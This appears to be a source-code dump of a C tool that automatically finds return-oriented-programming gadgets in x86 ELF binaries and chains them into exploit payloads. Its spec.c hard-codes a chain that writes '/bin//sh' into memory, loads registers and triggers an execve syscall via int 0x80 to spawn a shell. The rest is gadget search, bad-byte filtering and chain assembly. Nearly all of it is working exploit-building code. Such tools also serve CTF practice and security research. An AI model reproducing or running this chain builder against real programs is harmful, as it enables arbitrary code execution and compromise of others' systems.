| 1630 | for(i = 0; i < 4; i++) 1631 | { 1632 | /* Find neg gadget */ 1633 | restart = 0; 1634 | strcpy(regexp_string, "^neg ___$"); 1635 | strncpy(®exp_string[5], op[i], 3); 1636 | for(depth = 1; depth < arg->depth; depth++) 1637 | { 1638 | memset(neg_gadget_string, 0, MaxGadgetLen); 1639 | neg_temp = tree_search(root, regexp_string, neg_gadget_string, depth, arg); 1640 | if(neg_temp) 1641 | { 1642 | printf(" O| 0x%08x -> Find NEG Gadget \"%s\"\n", neg_temp->address, neg_gadget_string); 1643 | break; 1644 | } 1645 | else if(depth == arg->depth-1) 1646 | { 1647 | if(arg->verbose) 1648 | { 1649 | printf(" X| Can't find gadget \"neg %s\"\n", op[i]); 1650 | } 1651 | restart = 1; 1652 | break; 1653 | } 1654 | } 1655 | if(restart == 1) 1656 | { 1657 | continue; 1658 | } 1659 | neg_valid = rop_chain_list_add(0, neg_temp->address, neg_gadget_string, 1); 1660 | if(neg_valid == -1) 1661 | { 1662 | neg_temp->vaild = 0; 1663 | i--; 1664 | continue; 1665 | } 1666 | for(j = 0; j < 4; j++) 1667 | { 1668 | if(i == j) 1669 | { 1670 | continue; 1671 | } 1672 | zeroREG = api->zeroREG->next; 1673 | while(zeroREG) 1674 | { 1675 | if(!strcmp(zeroREG->target_write, op[j])) 1676 | { 1677 | printf(" O| 0x%08x -> Find XOR Gadget \"%s\"\n", zeroREG->address, zeroREG->string); 1678 | break; 1679 | } 1680 | zeroREG = zeroREG->next; 1681 | } 1682 | if(!zeroREG) 1683 | { 1684 | if(arg->verbose) 1685 | { 1686 | printf(" X| Can't find gadget \"xor %s, %s\"\n", op[j], op[j]); 1687 | } 1688 | continue; 1689 | } 1690 | addREG = api->addREG->next; 1691 | while(addREG) 1692 | { 1693 | if(!strcmp(addREG->target_write, op[j])) 1694 | { 1695 | printf(" O| 0x%08x -> Find INC Gadget \"%s\"\n", addREG->address, addREG->string); 1696 | break; 1697 | } 1698 | addREG = addREG->next; 1699 | } 1700 | if(!addREG) 1701 | { 1702 | if(arg->verbose) 1703 | { 1704 | printf(" X| Can't find gadget \"xor %s, %s\"\n", op[j], op[j]); 1705 | } 1706 | continue; 1707 | } 1708 | for(k = 0; k < 2; k++) 1709 | { 1710 | /* Find and gadget */ 1711 | restart = 0; 1712 | if(k) 1713 | { 1714 | sprintf(regexp_string, "and %s, %s", op[i], op[j]); 1715 | } 1716 | else 1717 | { 1718 | sprintf(regexp_string, "and %s, %s", op[j], op[i]); 1719 | } 1720 | for(depth = 1; depth < arg->depth; depth++) 1721 | { 1722 | memset(and_gadget_string, 0, MaxGadgetLen); 1723 | and_temp = tree_search(root, regexp_string, and_gadget_string, depth, arg); 1724 | if(and_temp) 1725 | { 1726 | printf(" O| 0x%08x -> Find AND Gadget \"%s\"\n", and_temp->address, and_gadget_string); 1727 | break; 1728 | } 1729 | else if(depth == arg->depth-1) 1730 | { 1731 | if(arg->verbose) 1732 | { 1733 | printf(" X| Can't find gadget \"%s\"\n", regexp_string); 1734 | } 1735 | restart = 1; 1736 | break; 1737 | } 1738 | } 1739 | if(restart == 1 && k == 0) 1740 | { 1741 | continue; 1742 | } 1743 | else if(restart == 1 && k == 1) 1744 | { 1745 | break; 1746 | } 1747 | and_valid = rop_chain_list_add(0, and_temp->address, and_gadget_string, 1); 1748 | if(and_valid == -1) 1749 | { 1750 | and_temp->vaild = 0; 1751 | k--; 1752 | continue; 1753 | } 1754 | /* Find mov gadget */ 1755 | if(k) 1756 | { 1757 | sprintf(regexp_string, "mov dword ptr .e[abcds][xip]], %s", op[i]); 1758 | } 1759 | else 1760 | { 1761 | sprintf(regexp_string, "mov dword ptr .e[abcds][xip]], %s", op[j]); 1762 | } 1763 | for(depth = 1; depth < arg->depth; depth++) 1764 | { 1765 | memset(mov_gadget_string, 0, MaxGadgetLen); 1766 | mov_temp = tree_search(root, regexp_string, mov_gadget_string, depth, arg); 1767 | if(mov_temp) 1768 | { 1769 | printf(" O| 0x%08x -> Find MOV Gadget \"%s\"\n", mov_temp->address, mov_gadget_string); 1770 | break; 1771 | } 1772 | else if(depth == arg->depth-1) 1773 | { 1774 | if(arg->verbose) 1775 | { 1776 | printf(" X| Can't find MOV gadget.\n"); 1777 | } 1778 | restart = 1; 1779 | break; 1780 | } 1781 | } 1782 | if(restart == 1 && k == 0) 1783 | { 1784 | continue; 1785 | } 1786 | else if(restart == 1 && k == 1) 1787 | { 1788 | break; 1789 | } 1790 | strncpy(mov_op[0], &mov_gadget_string[15], 3); 1791 | strncpy(mov_op[1], &mov_gadget_string[21], 3); 1792 | mov_op[0][3] = 0; 1793 | mov_op[1][3] = 0; 1794 | if(!strcmp(mov_op[0], "esp") || !strcmp(mov_op[1], "esp")) 1795 | { 1796 | printf(" X| Can't use esp gadget. Try to find other mov gadget\n"); 1797 | mov_temp->vaild = 0; 1798 | continue; 1799 | } 1800 | mov_valid = rop_chain_list_add(0, mov_temp->address, mov_gadget_string, 1); 1801 | if(mov_valid == -1) 1802 | { 1803 | mov_temp->vaild = 0; 1804 | k--; 1805 | continue; 1806 | } 1807 | /* Find pop gadget */ 1808 | writeREG = api->writeREG->next; 1809 | while(writeREG) 1810 | { 1811 | if(!strcmp(writeREG->target_write, mov_op[0])) 1812 | { 1813 | printf(" O| 0x%08x -> Find POP Gadget \"%s\"\n", writeREG->address, writeREG->string); 1814 | break; 1815 | } 1816 | writeREG = writeREG->next; 1817 | } 1818 | if(!writeREG) 1819 | { 1820 | continue; 1821 | } 1822 | /* Success */ 1823 | rop_chain_list_add(*deltaFLAG, neg_temp->address, neg_gadget_string, 1); 1824 | rop_chain_list_add(*deltaFLAG, zeroREG->address, zeroREG->string, 1); 1825 | rop_chain_list_add(*deltaFLAG, addREG->address, addREG->string, 1); 1826 | rop_chain_list_add(*deltaFLAG, and_temp->address, and_gadget_string, 1); 1827 | rop_chain_list_add(*deltaFLAG, writeREG->address, writeREG->string, 1); 1828 | rop_chain_list_add(*deltaFLAG, mov_temp->address, mov_gadget_string, 1); 1829 | } 1830 | } 1831 | } 1832 | return 0; 1833 | } 1834 | 1835 | int rop_build_conditional_jump_gadget(struct Node *root, struct Gadget **jumpFLAG, struct Arg *arg) 1836 | { 1837 | int valid; 1838 | struct Node *temp; 1839 | char gadget_string[MaxGadgetLen] = ""; 1840 | char regexp_string[MaxRegExpLen] = ""; 1841 | char *op[4] = {"eax", "ebx", "ecx", "edx"}; 1842 | int i, depth, restart; 1843 | printf("\n--- Build JumpFLAG Gadgets ---\n"); 1844 | *jumpFLAG = (struct Gadget *)malloc(sizeof(struct Gadget)); 1845 | if(!*jumpFLAG) 1846 | { 1847 | fprintf(stderr ,"malloc failed.\n"); 1848 | exit(-1); 1849 | } 1850 | rop_chain_list_init(*jumpFLAG); 1851 | 1852 | /* find add esp, [reg] gadget */ 1853 | for(i = 0; i < 4; i++) 1854 | { 1855 | restart = 0; 1856 | strcpy(regexp_string, "add esp, dword ptr .___]"); 1857 | strncpy(®exp_string[20], op[i], 3); 1858 | for(depth = 1; depth < arg->depth; depth++) 1859 | { 1860 | memset(gadget_string, 0, MaxGadgetLen); 1861 | temp = tree_search(root, regexp_string, gadget_string, depth, arg); 1862 | if(temp) 1863 | { 1864 | printf(" O| 0x%08x -> Find ADD Gadget \"%s\"\n", temp->address, gadget_string); 1865 | break; 1866 | } 1867 | else if(depth == arg->depth-1) 1868 | { 1869 | if(arg->verbose) 1870 | { 1871 | printf(" X| Can't find gadget \"shift %s, cnt\"\n", op[i]); 1872 | } 1873 | restart = 1; 1874 | break; 1875 | } 1876 | } 1877 | if(restart) 1878 | { 1879 | continue; 1880 | } 1881 | valid = rop_chain_list_add(*jumpFLAG, temp->address, gadget_string, 1); 1882 | if(valid == -1) 1883 | { 1884 | temp->vaild = 0; 1885 | i--; 1886 | continue; 1887 | } 1888 | } 1889 | return 0; 1890 | } 1891 | 1892 | int rop_build_interrupt_gadget(struct Node *root, struct Gadget **INT, struct Arg *arg) 1893 | { 1894 | struct Node *temp; 1895 | char gadget_string[MaxGadgetLen] = ""; 1896 | char regexp_string[MaxRegExpLen] = ""; 1897 | printf("\n--- Build Interrupt Gadgets ---\n"); 1898 | *INT = (struct Gadget *)malloc(sizeof(struct Gadget)); 1899 | if(!*INT) 1900 | { 1901 | fprintf(stderr ,"malloc failed.\n"); 1902 | exit(-1); 1903 | } 1904 | rop_chain_list_init(*INT); 1905 | memset(gadget_string, 0, MaxGadgetLen); 1906 | strcpy(regexp_string, "int 0x80"); 1907 | temp = tree_search(root, regexp_string, gadget_string, 1, arg); 1908 | if(temp) 1909 | { 1910 | printf(" O| 0x%08x -> Find INT Gadget \"%s\"\n", temp->address, gadget_string); 1911 | rop_chain_list_add(*INT, temp->address, gadget_string, 1); 1912 | return 0; 1913 | } 1914 | else 1915 | { 1916 | if(arg->verbose) 1917 | { 1918 | printf(" X| Can't find gadget \"%s\"\n", regexp_string); 1919 | } 1920 | return -1; 1921 | } 1922 | } 1923 | 1924 | int rop_gadget_info_update(struct Gadget *gadget) 1925 | { 1926 | int i, valid; 1927 | char *instr, *end_instr; 1928 | char string[MaxGadgetLen]; 1929 | gadget->padding = 0; 1930 | gadget->gadget_write_no = 0; 1931 | strcpy(gadget->target_write, "nul"); 1932 | if(strchr(gadget->string, ';')) 1933 | { 1934 | strcpy(string, gadget->string); 1935 | string[strlen(string) - 1] = '\x00'; 1936 | instr = strtok_r(string, ";", &end_instr); 1937 | if(instr != NULL) 1938 | { 1939 | valid = rop_parse_instruction(instr, gadget); 1940 | if(valid == -1) 1941 | { 1942 | return -1; 1943 | } 1944 | } 1945 | } 1946 | while(instr != NULL) 1947 | { 1948 | instr = strtok_r(NULL, ";", &end_instr); 1949 | if(instr != NULL) 1950 | { 1951 | instr++; 1952 | valid = rop_parse_instruction(instr, gadget); 1953 | if(valid == -1) 1954 | { 1955 | return -1; 1956 | } 1957 | } 1958 | } 1959 | for(i = 1; i < gadget->gadget_write_no; i++) 1960 | { 1961 | if(!strcmp(gadget->gadget_write[i], gadget->target_write) && 1962 | strcmp(gadget->target_write, "nul") && strcmp(gadget->target_write, "esp")) 1963 | { 1964 | printf(" X| Overwrite the target register. Try to find other gadget.\n"); 1965 | return -1; 1966 | } 1967 | } 1968 | return 0; 1969 | } 1970 | 1971 | int rop_parse_instruction(char *instr, struct Gadget *gadget) 1972 | { 1973 | char *operation = NULL; 1974 | char *dst_operand = NULL; 1975 | char *src_operand = NULL; 1976 | char *end_str; 1977 | char *reg; 1978 | char string[MaxGadgetLen]; 1979 | long padding; 1980 | strcpy(string, instr); 1981 | operation = string; 1982 | /* parse operand */ 1983 | if(strchr(string, ',')) 1984 | { 1985 | dst_operand = strtok_r(string, ",", &end_str); 1986 | src_operand = strtok_r(NULL, ",", &end_str) + 1; 1987 | } 1988 | dst_operand = strstr(string, " "); 1989 | if(dst_operand) 1990 | { 1991 | *dst_operand = '\x00'; 1992 | dst_operand++; 1993 | } 1994 | else 1995 | { 1996 | return 0; 1997 | } 1998 | if(gadget->gadget_write_no == 0) 1999 | { 2000 | reg = gadget->target_write; 2001 | gadget->gadget_write_no++; 2002 | } 2003 | else 2004 | { 2005 | reg = gadget->gadget_write[gadget->gadget_write_no++]; 2006 | if(!strcmp(operation, "pop")) 2007 | { 2008 | gadget->padding += 4; 2009 | } 2010 | } 2011 | memset(reg, 0, 4); 2012 | if(strchr(dst_operand, '[')) 2013 | { 2014 | strcpy(reg, "nul"); 2015 | } 2016 | else if(strstr(dst_operand, "eax") || strstr(dst_operand, "al")) 2017 | { 2018 | strcpy(reg, "eax"); 2019 | } 2020 | else if(strstr(dst_operand, "ebx") || strstr(dst_operand, "bl")) 2021 | { 2022 | strcpy(reg, "ebx"); 2023 | } 2024 | else if(strstr(dst_operand, "ecx") || strstr(dst_operand, "cl")) 2025 | { 2026 | strcpy(reg, "ecx"); 2027 | } 2028 | else if(strstr(dst_operand, "edx") || strstr(dst_operand, "dl")) 2029 | { 2030 | strcpy(reg, "edx"); 2031 | } 2032 | else if(strstr(dst_operand, "esp")) 2033 | { 2034 | strcpy(reg, "esp"); 2035 | if(!strcmp(operation, "inc")) 2036 | { 2037 | gadget->padding += 1; 2038 | } 2039 | else if(!strcmp(operation, "add")) 2040 | { 2041 | if(!strstr(src_operand, "ptr")) 2042 | { 2043 | padding = strtol(src_operand, &end_str, 16); 2044 | gadget->padding += (int)padding; 2045 | } 2046 | } 2047 | else 2048 | { 2049 | printf(" X| Can't use esp gadget. Try to find other gadgets.\n"); 2050 | return -1; 2051 | } 2052 | } 2053 | else if(strstr(dst_operand, "ebp")) 2054 | { 2055 | strcpy(reg, "ebp"); 2056 | } 2057 | else 2058 | { 2059 | strcpy(reg, "nul"); 2060 | } 2061 | return 0; 2062 | } 2063 | 2064 | void rop_chain_list_init(struct Gadget *head) 2065 | { 2066 | head->next = 0; 2067 | head->prev = 0; 2068 | head->total_target_write_no = 0; 2069 | head->gadget_write_no = 0; 2070 | } 2071 | 2072 | int rop_chain_list_add(struct Gadget *head, unsigned int address, char *string, int tail) 2073 | { 2074 | int valid; 2075 | struct Gadget *gadget; 2076 | if(strlen(string) > MaxGadgetLen) 2077 | { 2078 | fprintf(stderr ,"Gadget buffer overflow.\n"); 2079 | return -1; 2080 | } 2081 | 2082 | gadget = (struct Gadget *)malloc(sizeof(struct Gadget)); 2083 | if(!gadget) 2084 | { 2085 | fprintf(stderr ,"malloc failed.\n"); 2086 | exit(-1); 2087 | } 2088 | gadget->address = address; 2089 | gadget->next = NULL; 2090 | strcpy(gadget->string, string); 2091 | strcpy(gadget->target_write, "nul"); 2092 | valid = rop_gadget_info_update(gadget); 2093 | if(valid == -1) 2094 | { 2095 | return -1; 2096 | } 2097 | /* test_gadget_valid */ 2098 | if(head == NULL) 2099 | { 2100 | free(gadget); 2101 | return 0; 2102 | } 2103 | if(head->next) 2104 | { 2105 | if(tail == 1) 2106 | { 2107 | gadget->prev = head->prev; 2108 | head->prev->next = gadget; 2109 | head->prev = gadget; 2110 | } 2111 | else 2112 | { 2113 | gadget->next = head->next; 2114 | head->next->prev = gadget; 2115 | head->next = gadget; 2116 | } 2117 | } 2118 | else 2119 | { 2120 | head->next = gadget; 2121 | head->prev = gadget; 2122 | } 2123 | return 0; 2124 | } 2125 | 2126 | int rop_chain_list_traverse(struct Gadget *head, unsigned char **chain) 2127 | { 2128 | struct Gadget *temp; 2129 | unsigned char *rechain; 2130 | int padding; 2131 | int chain_len = 0; 2132 | size_t i = 0; 2133 | for(temp = head->next; temp; temp = temp->next) 2134 | { 2135 | i++; 2136 | if(strstr(temp->string, "padding")) 2137 | { 2138 | printf("0x%08x: %s\n", temp->address, temp->string); 2139 | padding = atoi(temp->string + 8); 2140 | chain_len += padding; 2141 | rechain = (unsigned char*)realloc(*chain, chain_len); 2142 | if(!rechain) 2143 | { 2144 | fprintf(stderr ,"realloc failed.\n"); 2145 | exit(-1); 2146 | } 2147 | *chain = rechain; 2148 | memset(*chain + chain_len - padding, 0x41, padding); 2149 | } 2150 | else 2151 | { 2152 | printf("0x%08x: %s\n", temp->address, temp->string); 2153 | chain_len += 4 * sizeof(unsigned char); 2154 | rechain = (unsigned char*)realloc(*chain, chain_len); 2155 | if(!rechain) 2156 | { 2157 | fprintf(stderr ,"realloc failed.\n"); 2158 | exit(-1); 2159 | } 2160 | *chain = rechain; 2161 | memcpy(*chain + chain_len - 4, &temp->address, 4); 2162 | } 2163 | } 2164 | return chain_len; 2165 | } 2166 | 2167 | void rop_chain_list_free(struct Gadget *head) 2168 | { 2169 | struct Gadget *temp; 2170 | while(head->next != NULL) 2171 | { 2172 | temp = head->next; 2173 | head->next = head->next->next; 2174 | free(temp); 2175 | } 2176 | free(head); 2177 | } 2178 | -------------------------------------------------------------------------------- /rop.h: -------------------------------------------------------------------------------- 1 | #ifndef _rop_h 2 | #define _rop_h 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "tree.h" 10 | #include "spec.h" 11 | #include "elf.h" 12 | #define MaxRegExpLen 100 13 | #define MaxGadgetByte 20 14 | 15 | struct API 16 | { 17 | struct Gadget *writeMEM; 18 | struct Gadget *readMEM; 19 | struct Gadget *writeREG; 20 | struct Gadget *zeroREG; 21 | struct Gadget *xchgREG; 22 | struct Gadget *shiftREG; 23 | struct Gadget *addREG; 24 | struct Gadget *movREG; 25 | struct Gadget *cmpFLAG; 26 | struct Gadget *saveFLAG; 27 | struct Gadget *deltaFLAG; 28 | struct Gadget *jumpFLAG; 29 | struct Gadget *INT; 30 | int result_writeMEM; 31 | int result_readMEM; 32 | int result_writeREG; 33 | int result_zeroREG; 34 | int result_xchgREG; 35 | int result_shiftREG; 36 | int result_addREG; 37 | int result_movREG; 38 | int result_cmpFLAG; 39 | int result_saveFLAG; 40 | int result_deltaFLAG; 41 | int result_jumpFLAG; 42 | int result_INT; 43 | }; 44 | 45 | int rop_chain(unsigned char **chain, unsigned char *binary, struct Arg *arg); 46 | int rop_parse_gadgets(struct Node *root, unsigned char *binary, struct Segment *text,struct Arg *arg); 47 | void rop_build_api(struct Node *root, struct API **api, struct Arg *arg); 48 | void rop_end_api(struct API *api); 49 | 50 | int rop_build_write_memory_gadget(struct Node *root, struct Gadget **writeMEM, struct Arg *arg); 51 | int rop_write_memory_gadget(struct Gadget *head, struct API *api, unsigned int dest, unsigned int value); 52 | 53 | int rop_build_read_memory_gadget(struct Node *root, struct Gadget **readMEM, struct Arg *arg); 54 | int rop_read_memory_gadget(struct Gadget *head, struct API *api, char *dest, unsigned int src); 55 | 56 | int rop_build_write_register_gadget(struct Node *root, struct Gadget **writeREG, struct Arg *arg); 57 | int rop_write_register_gadget(struct API *api, char *dest, unsigned int value); 58 | int rop_chain_write_register_gadget(struct Gadget *head, struct API *api); 59 | 60 | int rop_build_zero_register_gadget(struct Node *root, struct Gadget **zeroREG, struct Arg *arg); 61 | int rop_zero_register_gadget(struct Gadget *head, struct API *api, char *dest); 62 | 63 | int rop_build_xchg_register_gadget(struct Node *root, struct Gadget **xchgREG, struct Arg *arg); 64 | int rop_xchg_register_gadget(struct Gadget *head, struct API *api, char *op1, char *op2); 65 | 66 | int rop_build_move_register_gadget(struct Node *root, struct Gadget **movREG, struct Arg *arg); 67 | int rop_move_register_gadget(struct Gadget *head, struct API *api, char *dest, char *src); 68 | 69 | int rop_build_add_register_gadget(struct Node *root, struct Gadget **addREG, struct Arg *arg); 70 | int rop_add_register_gadget(struct Gadget *head, struct API *api, char *dest, unsigned int value); 71 | 72 | int rop_build_shift_register_gadget(struct Node *root, struct Gadget **shiftREG, struct Arg *arg); 73 | int rop_shift_register_gadget(struct Gadget *head, struct API *api, char *dest); 74 | 75 | int rop_build_cmp_flag_gadget(struct Node *root, struct Gadget **cmpFLAG, struct Arg *arg); 76 | int rop_cmp_flag_gadget(struct Gadget *head, struct API *api, char *op1, char *op2); 77 | int rop_build_save_flag_gadget(struct Node *root, struct Gadget **saveFLAG, struct Arg *arg); 78 | int rop_save_flag_gadget(struct Gadget *head, struct API *api, unsigned int dest); 79 | int rop_build_delta_flag_gadget(struct Node *root, struct Gadget **deltaFLAG, struct Arg *arg, struct API *api); 80 | int rop_delta_flag_gadget(struct Gadget *head, struct API *api, unsigned int dest, int delta, char *flag); 81 | int rop_build_conditional_jump_gadget(struct Node *root, struct Gadget **jumpFLAG, struct Arg *arg); 82 | int rop_conditional_jump_gadget(struct Gadget *head, struct API *api, char *delta); 83 | 84 | int rop_build_interrupt_gadget(struct Node *root, struct Gadget **INT, struct Arg *arg); 85 | int rop_interrupt_gadget(struct Gadget *head, struct API *api); 86 | 87 | int rop_gadget_info_update(struct Gadget *gadget); 88 | int rop_parse_instruction(char *instr, struct Gadget *gadget); 89 | 90 | void rop_chain_list_init(struct Gadget *head); 91 | int rop_chain_list_add(struct Gadget *head, unsigned int address, char *string, int tail); 92 | int rop_chain_list_traverse(struct Gadget *head, unsigned char **chain); 93 | void rop_chain_list_free(struct Gadget *head); 94 | 95 | #endif 96 | -------------------------------------------------------------------------------- /spec.c: -------------------------------------------------------------------------------- 1 | #include "spec.h" 2 | 3 | int rop_chain_payload(struct Node *root, struct Gadget *head, struct Arg *arg) 4 | { 5 | struct API *api; 6 | unsigned int data = 0x080efff0; 7 | rop_build_api(root, &api, arg); 8 | 9 | printf("\n--- Start chain *execve(\"/bin/sh\")* gadgets ---\n\n"); 10 | rop_chain_list_init(head); 11 | 12 | rop_write_memory_gadget(head, api, data, 0x6e69622f); 13 | rop_write_memory_gadget(head, api, data + 4, 0x68732f2f); 14 | rop_write_memory_gadget(head, api, data + 8, 0); 15 | 16 | rop_write_register_gadget(api, "ebx", data); 17 | rop_write_register_gadget(api, "ecx", data + 8); 18 | rop_write_register_gadget(api, "edx", data + 8); 19 | rop_chain_write_register_gadget(head, api); 20 | 21 | rop_zero_register_gadget(head, api, "eax"); 22 | rop_add_register_gadget(head, api, "eax", 11); 23 | rop_interrupt_gadget(head, api); 24 | 25 | rop_end_api(api); 26 | return 0; 27 | } 28 | 29 | -------------------------------------------------------------------------------- /spec.h: -------------------------------------------------------------------------------- 1 | #ifndef _spec_h 2 | #define _spec_h 3 | 4 | #include "rop.h" 5 | 6 | struct Gadget 7 | { 8 | char string[MaxGadgetLen]; 9 | char target_write[4]; 10 | char total_target_write[20][4]; 11 | char gadget_write[20][4]; 12 | int total_target_write_no; 13 | int gadget_write_no; 14 | int padding; 15 | int order; 16 | unsigned int address; 17 | struct Gadget *next; 18 | struct Gadget *prev; 19 | }; 20 | 21 | int rop_chain_payload(struct Node *root, struct Gadget *head,struct Arg *arg); 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /tree.c: -------------------------------------------------------------------------------- 1 | #include "tree.h" 2 | 3 | void tree_init(struct Node* root) 4 | { 5 | root->leftchild = NULL; 6 | root->rightsibling = NULL; 7 | root->vaild = 1; 8 | } 9 | 10 | int tree_build(struct Node* root, unsigned int address, cs_insn *insn, size_t len) 11 | { 12 | size_t i; 13 | char instruct_string[MaxInstructLen]; 14 | struct Node *parent, *head; 15 | struct Node **node = (struct Node **)malloc(len * sizeof(struct Node)); 16 | if(!node) 17 | { 18 | fprintf(stderr,"malloc failed.\n"); 19 | return -1; 20 | } 21 | for(i = 0; i < len; i++) 22 | { 23 | node[i] = (struct Node *)malloc(sizeof(struct Node)); 24 | if(!node[i]) 25 | { 26 | fprintf(stderr,"malloc failed.\n"); 27 | return -1; 28 | } 29 | node[i]->vaild = 1; 30 | node[i]->address = 0; 31 | node[i]->leftchild = NULL; 32 | node[i]->rightsibling = NULL; 33 | } 34 | parent = root; 35 | for(i = 0; i < len; i++) 36 | { 37 | if(strlen(insn[i].mnemonic) + strlen(insn[i].op_str) + 1 > MaxInstructLen) 38 | { 39 | free(node[i]); 40 | return -1; 41 | } 42 | strcpy(instruct_string,""); 43 | strcat(instruct_string, insn[i].mnemonic); 44 | if(strlen(insn[i].op_str) > 0) 45 | { 46 | strcat(instruct_string, " "); 47 | strcat(instruct_string, insn[i].op_str); 48 | } 49 | if(i == len-1) 50 | { 51 | /* ret leaf */ 52 | node[i]->rightsibling = parent->leftchild; 53 | parent->leftchild = node[i]; 54 | node[i]->address = insn[0].address; 55 | strcpy(node[i]->string, instruct_string); 56 | } 57 | else 58 | { 59 | /* branch */ 60 | if(!parent->leftchild) 61 | { 62 | parent->leftchild = node[i]; 63 | node[i]->rightsibling = NULL; 64 | parent = node[i]; 65 | strcpy(node[i]->string, instruct_string); 66 | } 67 | else 68 | { 69 | head = parent->leftchild; 70 | while(head) 71 | { 72 | /* node already exist */ 73 | if(!strcmp(head->string,instruct_string)) 74 | { 75 | parent = head; 76 | free(node[i]); 77 | break; 78 | } 79 | head = head->rightsibling; 80 | } 81 | if(parent != head) 82 | { 83 | node[i]->rightsibling = parent->leftchild; 84 | parent->leftchild = node[i]; 85 | parent = node[i]; 86 | strcpy(node[i]->string, instruct_string); 87 | } 88 | } 89 | } 90 | } 91 | return 0; 92 | } 93 | 94 | struct Node *tree_search(struct Node* root, char* regexp_string, char* gadget_string, int depth, struct Arg *arg) 95 | { 96 | struct Node* child,* temp; 97 | unsigned char *address; 98 | int i, j; 99 | regex_t regex; 100 | int reti; 101 | char msgbuf[100]; 102 | int gadget_len; 103 | 104 | /* Compile regular expression */ 105 | reti = regcomp(®ex, regexp_string, 0); 106 | if(reti) 107 | { 108 | fprintf(stderr, "Could not compile regex\n"); 109 | exit(1); 110 | } 111 | child = root->leftchild; 112 | while(child) 113 | { 114 | /* Execute regular expression */ 115 | reti = regexec(®ex, child->string, 0, NULL, 0); 116 | /* Match and vaild */ 117 | if(!reti && child->vaild) 118 | { 119 | /* leaf */ 120 | if(child->address) 121 | { 122 | address = (unsigned char*)&child->address; 123 | /* badbyte cheching */ 124 | for(i = 0; i < 4; i++) 125 | { 126 | for(j = 0 ; j < arg->badbyte_no; j++) 127 | { 128 | if(address[i] == arg->badbyte[j]) 129 | { 130 | i = 4; 131 | break; 132 | } 133 | } 134 | if(i == 3) 135 | { 136 | /* Free compiled regular expression */ 137 | regfree(®ex); 138 | strcat(gadget_string, child->string); 139 | strcat(gadget_string, "; "); 140 | return child; 141 | } 142 | } 143 | } 144 | /* not leaf */ 145 | else 146 | { 147 | strcat(gadget_string, child->string); 148 | strcat(gadget_string, "; "); 149 | /* Free compiled regular expression */ 150 | if(depth == 1) 151 | { 152 | temp = tree_search(child, "^ret$", gadget_string, 0, arg); 153 | if(temp) 154 | { 155 | regfree(®ex); 156 | return temp; 157 | } 158 | } 159 | else 160 | { 161 | temp = tree_search(child, "^", gadget_string, --depth, arg); 162 | if(temp) 163 | { 164 | regfree(®ex); 165 | return temp; 166 | } 167 | } 168 | } 169 | } 170 | else if(!reti && !child->vaild) 171 | { 172 | /* Match but invaild */ 173 | } 174 | else if(reti == REG_NOMATCH) 175 | { 176 | /* No match */ 177 | } 178 | else 179 | { 180 | regerror(reti, ®ex, msgbuf, sizeof(msgbuf)); 181 | fprintf(stderr, "Regex match failed: %s\n", msgbuf); 182 | exit(1); 183 | } 184 | child = child->rightsibling; 185 | } 186 | /* Free compiled regular expression */ 187 | regfree(®ex); 188 | gadget_len = strlen(gadget_string); 189 | /* Clear gadget_string */ 190 | for(i = gadget_len-3; i > -1; i--) 191 | { 192 | if(gadget_string[i] == ';') 193 | { 194 | memset(gadget_string + i + 2, 0 , MaxGadgetLen - i - 2); 195 | break; 196 | } 197 | } 198 | if(i < 0) 199 | { 200 | memset(gadget_string, 0 , MaxGadgetLen); 201 | } 202 | return 0; 203 | } 204 | 205 | void tree_free(struct Node* root) 206 | { 207 | struct Node *temp, *node; 208 | node = root; 209 | if(node->leftchild) 210 | { 211 | tree_free(node->leftchild); 212 | temp = node; 213 | temp->leftchild = NULL; 214 | } 215 | node = root; 216 | if(node->rightsibling) 217 | { 218 | tree_free(node->rightsibling); 219 | temp = node; 220 | temp->rightsibling = NULL; 221 | } 222 | free(root); 223 | } 224 | -------------------------------------------------------------------------------- /tree.h: -------------------------------------------------------------------------------- 1 | #ifndef _tree_h 2 | #define _tree_h 3 | 4 | #define MaxInstructLen 100 5 | #define MaxGadgetLen 1000 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | struct Node{ 15 | char string[MaxInstructLen]; 16 | bool vaild; 17 | unsigned int address; 18 | struct Node* leftchild; 19 | struct Node* rightsibling; 20 | }; 21 | 22 | struct Arg{ 23 | bool print; 24 | bool verbose; 25 | int offset; 26 | int depth; 27 | unsigned char badbyte[20]; 28 | unsigned int badbyte_no; 29 | }; 30 | 31 | void tree_init(struct Node* root); 32 | int tree_build(struct Node* root, unsigned int address, cs_insn *insn, size_t len); 33 | struct Node *tree_search(struct Node* root, char* regexp_string, char* gadget_string, int depth, struct Arg *arg); 34 | void tree_free(struct Node* root); 35 | 36 | #endif 37 | --------------------------------------------------------------------------------